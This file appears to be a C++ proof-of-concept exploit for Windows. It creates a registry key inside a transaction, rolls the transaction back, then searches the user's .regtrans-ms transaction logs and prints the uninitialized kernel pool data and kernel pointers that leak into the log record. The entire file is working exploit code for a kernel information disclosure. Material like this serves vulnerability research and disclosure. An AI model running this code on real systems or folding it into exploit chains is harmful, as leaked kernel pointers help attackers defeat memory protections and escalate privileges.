#include <Windows.h>
#include <ktmw32.h>
#include <sddl.h>

#include <cstdio>

#pragma comment(lib, "ktmw32")

VOID FindAndPrintLeaks(PWCHAR wchKeyPath, DWORD dwKeyPathLength) {
  WCHAR wchUserProfilePath[MAX_PATH];
  WCHAR wchSearchPath[MAX_PATH];
  WCHAR wchTransLogPath[MAX_PATH];
  WIN32_FIND_DATA ffd;

  DWORD dwRet = GetEnvironmentVariableW(L"USERPROFILE",
                                        wchUserProfilePath,
                                        MAX_PATH);

  if (dwRet == 0 || dwRet > MAX_PATH) {
    printf("GetEnvironmentVariableW failed\n");
    return;
  }

  _snwprintf_s(wchSearchPath,
               MAX_PATH,
               L"%s\\*.regtrans-ms",
               wchUserProfilePath);

  HANDLE hFind = FindFirstFile(wchSearchPath, &ffd);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("FindFirstFile failed with error %u\n", GetLastError());
    return;
  }

  CONST SIZE_T kBufferSize = 1024 * 1024;
  PBYTE Buffer = (PBYTE)malloc(kBufferSize);

  if (Buffer == NULL) {
    printf("Failed to allocate %zu bytes\n", kBufferSize);
    return;
  }

  do {
    if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      continue;
    }

    _snwprintf_s(wchTransLogPath,
                 MAX_PATH,
                 L"%s\\%s",
                 wchUserProfilePath,
                 ffd.cFileName);

    HANDLE hFile = CreateFileW(wchTransLogPath,
                               GENERIC_READ,
                               FILE_SHARE_READ | FILE_SHARE_WRITE,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
      continue;
    }

    DWORD NumberOfBytesRead;
    while (ReadFile(hFile, Buffer, kBufferSize, &NumberOfBytesRead, NULL)) {
      CONST DWORD dwKeyPathBufferLength = dwKeyPathLength * sizeof(WCHAR);

      if (NumberOfBytesRead < dwKeyPathBufferLength) {
        break;
      }

      for (SIZE_T i = 0; i < NumberOfBytesRead - dwKeyPathBufferLength; i++) {
        if (!memcmp(&Buffer[i], wchKeyPath, dwKeyPathBufferLength)) {
          CONST SIZE_T kKeyNameToRecordOffset = 0x40;

          if (i >= kKeyNameToRecordOffset) {
            CONST PBYTE RecordBase = &Buffer[i - kKeyNameToRecordOffset];

            printf("Uninitialized pool data: %.8x\n"
                   "Leaked kernel pointer:   %.16llx\n"
                   "Leaked kernel pointer:   %.16llx\n",
                   *(DWORD*)&RecordBase[0x24],
                   *(ULONG_PTR*)&RecordBase[0x28],
                   *(ULONG_PTR*)&RecordBase[0x38]);
          }
        }
      }
    }

    CloseHandle(hFile);
  } while (FindNextFile(hFind, &ffd) != 0);

  free(Buffer);
  FindClose(hFind);
}

int main(int argc, char** argv) {
  LSTATUS st;

  //
  // Choose a random key name.
  //

  CONST SIZE_T kKeyNameLength = 16;
  WCHAR wchKeyName[kKeyNameLength + 1];

  srand(GetTickCount());

  for (SIZE_T i = 0; i < kKeyNameLength; i++) {
    wchKeyName[i] = L'A' + (rand() % 26);
  }

  wchKeyName[kKeyNameLength] = L'\0';

  //
  // Build the \Registry\User\<SID>\<KeyName> path for the current user.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  DWORD UserInfoLength;
  if (GetTokenInformation(hToken, TokenUser, NULL, 0, &UserInfoLength) ||
      GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
    printf("GetTokenInformation failed with error %u\n", GetLastError());
    return 1;
  }

  TOKEN_USER* UserInfo = (TOKEN_USER*)malloc(UserInfoLength);

  if (!GetTokenInformation(hToken,
                           TokenUser,
                           UserInfo,
                           UserInfoLength,
                           &UserInfoLength)) {
    printf("GetTokenInformation failed with error %u\n", GetLastError());
    return 1;
  }

  LPWSTR StringSid;
  if (!ConvertSidToStringSidW(UserInfo->User.Sid, &StringSid)) {
    printf("ConvertSidToStringSidW failed with error %u\n", GetLastError());
    return 1;
  }

  CONST SIZE_T RegistryPathCharsLength = (wcslen(StringSid) + kKeyNameLength + 17);
  CONST SIZE_T RegistryPathBytesLength = RegistryPathCharsLength * sizeof(WCHAR);
  PWSTR wchKeyPath = (PWSTR)malloc(RegistryPathBytesLength);

  if (wchKeyPath == NULL) {
    printf("Failed to allocate registry path buffer\n");
    return 1;
  }

  _snwprintf_s(wchKeyPath, RegistryPathCharsLength, RegistryPathCharsLength - 1,
               L"\\REGISTRY\\USER\\%s\\%s", StringSid, wchKeyName);

  //
  // Create a transaction.
  //

  HANDLE hTrans = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
  if (hTrans == INVALID_HANDLE_VALUE) {
    printf("CreateTransaction failed with error %u\n", GetLastError());
    return 1;
  }

  //
  // Create a key in HKCU within the transaction.
  //

  HKEY hTestKey;
  st = RegCreateKeyTransactedW(HKEY_CURRENT_USER,
                               wchKeyName,
                               0,
                               NULL,
                               0,
                               KEY_ALL_ACCESS,
                               NULL,
                               &hTestKey,
                               NULL,
                               hTrans,
                               NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyTransactedW failed with error %d\n", st);
    return 1;
  }

  //
  // Abort the transaction.
  //

  if (!RollbackTransaction(hTrans)) {
    printf("RollbackTransaction failed with error %u\n", GetLastError());
    return 1;
  }

  RegCloseKey(hTestKey);
  CloseHandle(hTrans);

  //
  // Find the serialized operation record in the user's hive transaction log,
  // and print out the leaked values.
  //

  FindAndPrintLeaks(wchKeyPath, wcslen(wchKeyPath));

  return 0;
}